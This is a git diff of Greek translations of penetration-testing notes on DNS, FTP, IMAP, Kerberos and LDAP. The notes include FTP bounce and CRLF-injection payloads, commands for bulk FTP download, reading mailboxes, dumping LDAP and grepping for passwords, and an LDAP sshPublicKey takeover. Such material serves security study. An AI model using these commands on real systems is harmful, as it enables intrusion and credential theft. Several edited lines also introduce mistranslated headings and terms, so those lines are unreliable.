**Αποστολή email σε ανύπαρκτη διεύθυνση** χρησιμοποιώντας το domain του θύματος θα μπορούσε να προκαλέσει το θύμα να στείλει μια ειδοποίηση μη παράδοσης (NDN) της οποίας οι **κεφαλίδες** θα μπορούσαν να περιέχουν ενδιαφέρουσες πληροφορίες όπως το **όνομα εσωτερικών διακομιστών και διευθύνσεις IP**.
|
||||
**Αποστολή email σε μια ανύπαρκτη διεύθυνση** χρησιμοποιώντας το domain του θύματος θα μπορούσε να προκαλέσει το θύμα να στείλει μια ειδοποίηση μη παράδοσης (NDN) της οποίας οι **επικεφαλίδες** θα μπορούσαν να περιέχουν ενδιαφέρουσες πληροφορίες όπως το **όνομα εσωτερικών διακομιστών και διευθύνσεις IP**.
|
||||
|
||||
## Μετά την εκμετάλλευση
|
||||
|
||||
- Όταν ελέγχετε τη διαμόρφωση ενός διακομιστή Bind, ελέγξτε τη διαμόρφωση της παραμέτρου **`allow-transfer`** καθώς υποδεικνύει ποιος μπορεί να εκτελεί μεταφορές ζωνών και **`allow-recursion`** και **`allow-query`** καθώς υποδεικνύουν ποιος μπορεί να στέλνει αναδρομικά αιτήματα και αιτήματα σε αυτόν.
|
||||
- Τα παρακάτω είναι τα ονόματα αρχείων που σχετίζονται με το DNS που θα μπορούσαν να είναι ενδιαφέροντα για αναζήτηση σε μηχανές:
|
||||
- Τα παρακάτω είναι τα ονόματα αρχείων που σχετίζονται με το DNS και θα μπορούσαν να είναι ενδιαφέροντα για αναζήτηση σε μηχανές:
|
||||
```
|
||||
host.conf
|
||||
/etc/resolv.conf
|
||||
|
@ -14,11 +14,11 @@ PORT STATE SERVICE
|
||||
```
|
||||
### Συνδέσεις Ενεργές & Παθητικές
|
||||
|
||||
Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του προς την θύρα εντολών του FTP Server – θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** τότε **ξεκινά** τη σύνδεση δεδομένων, από **την θύρα M του προς την θύρα N+1** του FTP Client.
|
||||
Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του στην θύρα εντολών του FTP Server – θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** τότε **ξεκινά** τη σύνδεση δεδομένων, από **την θύρα M του στην θύρα N+1** του FTP Client.
|
||||
|
||||
Αλλά, αν ο FTP Client έχει ρυθμισμένο ένα τείχος προστασίας που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από το εξωτερικό, τότε το active FTP μπορεί να είναι πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Passive FTP.
|
||||
|
||||
Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από την θύρα N του προς την θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server τότε στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **την θύρα P του προς την θύρα M** του FTP Server.
|
||||
Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από την θύρα N του στην θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server τότε στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **την θύρα P του στην θύρα M** του FTP Server.
|
||||
|
||||
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
@ -26,7 +26,7 @@ Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att
|
||||
|
||||
Οι εντολές **FTP** **`debug`** και **`trace`** μπορούν να χρησιμοποιηθούν για να δουν **πώς συμβαίνει η επικοινωνία**.
|
||||
|
||||
## Αρίθμηση
|
||||
## Αριθμητική
|
||||
|
||||
### Λήψη Banner
|
||||
```bash
|
||||
@ -115,9 +115,9 @@ nmap --script ftp-* -p 21 <ip>
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Σημειώστε ότι αν μια **εφαρμογή ιστού** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server**, μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http).
|
||||
Σημειώστε ότι αν μια **web application** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server** μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http).
|
||||
|
||||
## Κατεβάστε όλα τα αρχεία από τον FTP
|
||||
## Κατεβάστε όλα τα αρχεία από το FTP
|
||||
```bash
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
@ -131,7 +131,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται
|
||||
- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε εξάγωνο_).
|
||||
- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε δεκαεξαδικό_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
|
||||
- **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο
|
||||
- **`LIST -R`** Λίστα αναδρομικά (αν επιτρέπεται από τον διακομιστή)
|
||||
@ -139,8 +139,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`STOR /path/something.txt`** Όπως το `APPE` αλλά θα αντικαταστήσει τα αρχεία
|
||||
- **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα.
|
||||
- **`RETR /path/to/file`** Πρέπει να έχει δημιουργηθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης
|
||||
- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει στο 6ο byte.
|
||||
- **`TYPE i`** Ρυθμίστε τη μεταφορά σε δυαδική
|
||||
- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας `RETR` θα πρέπει να ξεκινήσει από το 6ο byte.
|
||||
- **`TYPE i`** Ορίστε τη μεταφορά σε δυαδική
|
||||
- **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί
|
||||
- **`PUT /tmp/file.txt`** Ανεβάστε το υποδεικνυόμενο αρχείο στον FTP
|
||||
|
||||
@ -152,11 +152,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
|
||||
[**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md)
|
||||
|
||||
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή;_) ή ακόμα και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\
|
||||
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή;_) ή ακόμη και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\
|
||||
Η θεωρία είναι απλή:
|
||||
|
||||
1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
|
||||
2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο που χρειαστήκατε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
|
||||
2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο που χρειάζεστε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
|
||||
3. **Χρησιμοποιήστε `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία**
|
||||
4. **Χρησιμοποιήστε `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.**
|
||||
|
||||
|
@ -14,7 +14,7 @@
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
```
|
||||
## Banner grabbing
|
||||
## Λήψη διαφημίσεων
|
||||
```bash
|
||||
nc -nv <IP> 143
|
||||
openssl s_client -connect <IP>:993 -quiet
|
||||
@ -93,7 +93,7 @@ apt install evolution
|
||||
|
||||
Η βασική πλοήγηση είναι δυνατή με το [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), αλλά η τεκμηρίωση είναι ελλιπής σε λεπτομέρειες, οπότε συνιστάται να ελέγξετε την [πηγή](https://github.com/curl/curl/blob/master/lib/imap.c) για ακριβείς λεπτομέρειες.
|
||||
|
||||
1. Λίστα φακέλων (imap εντολή `LIST "" "*"`)
|
||||
1. Καταγραφή των γραμματοκιβωτίων (imap command `LIST "" "*"`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```
|
||||
@ -103,13 +103,13 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
Το αποτέλεσμα αυτής της αναζήτησης είναι μια λίστα με δείκτες μηνυμάτων.
|
||||
|
||||
Είναι επίσης δυνατό να παρέχετε πιο σύνθετους όρους αναζήτησης. π.χ. αναζητώντας προσχέδια με κωδικό πρόσβασης στο σώμα του μηνύματος:
|
||||
Είναι επίσης δυνατό να παρέχετε πιο σύνθετους όρους αναζήτησης. π.χ. αναζητώντας προσχέδια με τον κωδικό πρόσβασης στο σώμα του μηνύματος:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
Μια ωραία επισκόπηση των δυνατών όρων αναζήτησης βρίσκεται [εδώ](https://www.atmail.com/blog/imap-commands/).
|
||||
|
||||
3. Λήψη ενός μηνύματος (imap εντολή `SELECT Drafts` και στη συνέχεια `FETCH 1 BODY[]`)
|
||||
3. Λήψη ενός μηνύματος (imap command `SELECT Drafts` και στη συνέχεια `FETCH 1 BODY[]`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
@ -120,7 +120,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
Επίσης, είναι δυνατή η λήψη μόνο τμημάτων ενός μηνύματος, π.χ. το θέμα και ο αποστολέας των πρώτων 5 μηνυμάτων (το `-v` είναι απαραίτητο για να δείτε το θέμα και τον αποστολέα):
|
||||
Επίσης, είναι δυνατή η λήψη μόνο τμημάτων ενός μηνύματος, π.χ. θέμα και αποστολέας των πρώτων 5 μηνυμάτων (το `-v` είναι απαραίτητο για να δείτε το θέμα και τον αποστολέα):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
**Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας.
|
||||
|
||||
Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, που είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
|
||||
Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, ο οποίος είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
|
||||
|
||||
Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση σε πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
|
||||
Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
|
||||
|
||||
**Default Port:** 88/tcp/udp
|
||||
```
|
||||
@ -25,7 +25,7 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το Kerberos login token ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλο το Active Directory δάσος.
|
||||
Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το Kerberos login token ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα προνόμια, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλη την Active Directory δασοκομία.
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
Η χρήση του **LDAP** (Lightweight Directory Access Protocol) είναι κυρίως για την τοποθέτηση διαφόρων οντοτήτων όπως οργανισμούς, άτομα και πόρους όπως αρχεία και συσκευές εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, DAP, έχοντας μικρότερο αποτύπωμα κώδικα.
|
||||
|
||||
Οι καταλόγοι LDAP είναι δομημένοι ώστε να επιτρέπουν τη διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια **αντιγραμμένη** και **συγχρονισμένη** έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων ανήκει εξ ολοκλήρου στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλους DSA κατά την ανάγκη για να παραδώσει μια ενιαία απάντηση στον αιτούντα.
|
||||
Οι καταλόγοι LDAP είναι δομημένοι ώστε να επιτρέπουν τη διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια **αντιγραμμένη** και **συγχρονισμένη** έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων ανήκει εξ ολοκλήρου στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλους DSAs όπως απαιτείται για να παραδώσει μια ενιαία απάντηση στον αιτούντα.
|
||||
|
||||
Η οργάνωση του καταλόγου LDAP μοιάζει με μια **ιεραρχία δέντρου, ξεκινώντας από τον ριζικό κατάλογο στην κορυφή**. Αυτό διακλαδίζεται σε χώρες, οι οποίες χωρίζονται περαιτέρω σε οργανισμούς, και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διευθύνσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, συμπεριλαμβανομένων τόσο των ανθρώπων όσο και των κοινών πόρων όπως αρχεία και εκτυπωτές.
|
||||
Η οργάνωση του καταλόγου LDAP μοιάζει με μια **ιεραρχία δέντρου, ξεκινώντας με τον ριζικό κατάλογο στην κορυφή**. Αυτό διακλαδίζεται σε χώρες, οι οποίες χωρίζονται περαιτέρω σε οργανισμούς, και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διευθύνσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, συμπεριλαμβανομένων τόσο των ανθρώπων όσο και των κοινών πόρων όπως αρχεία και εκτυπωτές.
|
||||
|
||||
**Προεπιλεγμένη θύρα:** 389 και 636(ldaps). Ο Παγκόσμιος Κατάλογος (LDAP στο ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για LDAPS.
|
||||
```
|
||||
@ -45,14 +45,14 @@ ou:
|
||||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
- Οι γραμμές 1-3 ορίζουν το τοπικό επίπεδο τομέα
|
||||
- Οι γραμμές 1-3 ορίζουν το κορυφαίο επίπεδο τομέα local
|
||||
- Οι γραμμές 5-8 ορίζουν τον πρώτο επίπεδο τομέα moneycorp (moneycorp.local)
|
||||
- Οι γραμμές 10-16 ορίζουν 2 οργανωτικές μονάδες: dev και sales
|
||||
- Οι γραμμές 18-26 δημιουργούν ένα αντικείμενο του τομέα και αναθέτουν χαρακτηριστικά με τιμές
|
||||
|
||||
## Γράψτε δεδομένα
|
||||
## Write data
|
||||
|
||||
Σημειώστε ότι αν μπορείτε να τροποποιήσετε τις τιμές, θα μπορούσατε να εκτελέσετε πραγματικά ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να **αλλάξετε την πληροφορία "sshPublicKey"** του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε **το ssh διαβάζει τα δημόσια κλειδιά από το LDAP**. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, **θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα και αν η αυθεντικοποίηση με κωδικό πρόσβασης δεν είναι ενεργοποιημένη στο ssh**.
|
||||
Σημειώστε ότι αν μπορείτε να τροποποιήσετε τιμές, θα μπορούσατε να εκτελέσετε πραγματικά ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να **αλλάξετε την πληροφορία "sshPublicKey"** του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε **το ssh διαβάζει τα δημόσια κλειδιά από το LDAP**. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, **θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα και αν η αυθεντικοποίηση με κωδικό πρόσβασης δεν είναι ενεργοποιημένη στο ssh**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -82,8 +82,8 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### LDAP ανώνυμες συνδέσεις
|
||||
|
||||
[LDAP ανώνυμες συνδέσεις](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) επιτρέπουν σε **μη αυθεντικοποιημένους επιτιθέμενους** να ανακτούν πληροφορίες από το domain, όπως μια πλήρη λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικών λογαριασμού χρηστών και την πολιτική κωδικών πρόσβασης του domain. Αυτή είναι μια **παλαιά ρύθμιση**, και από το Windows Server 2003, μόνο οι αυθεντικοποιημένοι χρήστες επιτρέπεται να ξεκινούν αιτήματα LDAP.\
|
||||
Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να **ρυθμίσουν μια συγκεκριμένη εφαρμογή για να επιτρέψουν ανώνυμες συνδέσεις** και να έχουν δώσει περισσότερη πρόσβαση από την προοριζόμενη, δίνοντας έτσι σε μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD.
|
||||
[LDAP ανώνυμες συνδέσεις](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) επιτρέπουν στους **μη αυθεντικοποιημένους επιτιθέμενους** να ανακτούν πληροφορίες από το domain, όπως μια πλήρη λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικών λογαριασμού χρηστών και την πολιτική κωδικών πρόσβασης του domain. Αυτή είναι μια **παλαιά ρύθμιση**, και από το Windows Server 2003, μόνο οι αυθεντικοποιημένοι χρήστες επιτρέπεται να ξεκινούν αιτήματα LDAP.\
|
||||
Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να **ρυθμίσουν μια συγκεκριμένη εφαρμογή για να επιτρέψουν ανώνυμες συνδέσεις** και να έχουν δώσει περισσότερη πρόσβαση από την προγραμματισμένη, δίνοντας έτσι στους μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD.
|
||||
|
||||
## Έγκυρα Διαπιστευτήρια
|
||||
|
||||
@ -145,7 +145,7 @@ True
|
||||
|
||||
### windapsearch
|
||||
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) είναι ένα σενάριο Python χρήσιμο για **καταμέτρηση χρηστών, ομάδων και υπολογιστών από ένα Windows** domain χρησιμοποιώντας LDAP ερωτήσεις.
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) είναι ένα σενάριο Python χρήσιμο για **καταμέτρηση χρηστών, ομάδων και υπολογιστών από ένα Windows** domain χρησιμοποιώντας LDAP ερωτήματα.
|
||||
```bash
|
||||
# Get computers
|
||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||
@ -175,7 +175,7 @@ tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
Αν βρείτε κάτι που λέει ότι το "_bind must be completed_" σημαίνει ότι τα διαπιστευτήρια είναι λανθασμένα.
|
||||
|
||||
Μπορείτε να εξάγετε **τα πάντα από ένα domain** χρησιμοποιώντας:
|
||||
Μπορείτε να εξάγετε **τα πάντα από ένα τομέα** χρησιμοποιώντας:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
-x Simple Authentication
|
||||
@ -217,7 +217,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Adm
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Για να δείτε αν έχετε πρόσβαση σε κάποιον κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε το grep μετά την εκτέλεση ενός από τους ερωτήσεις:
|
||||
Για να δείτε αν έχετε πρόσβαση σε οποιονδήποτε κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε το grep μετά την εκτέλεση ενός από τους ερωτήσεις:
|
||||
```bash
|
||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||
```
|
||||
@ -226,7 +226,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Rem
|
||||
#### pbis
|
||||
|
||||
Μπορείτε να κατεβάσετε το **pbis** από εδώ: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) και συνήθως εγκαθίσταται στο `/opt/pbis`.\
|
||||
Το **Pbis** σας επιτρέπει να αποκτάτε βασικές πληροφορίες εύκολα:
|
||||
**Pbis** σας επιτρέπει να αποκτάτε βασικές πληροφορίες εύκολα:
|
||||
```bash
|
||||
#Read keytab file
|
||||
./klist -k /etc/krb5.keytab
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
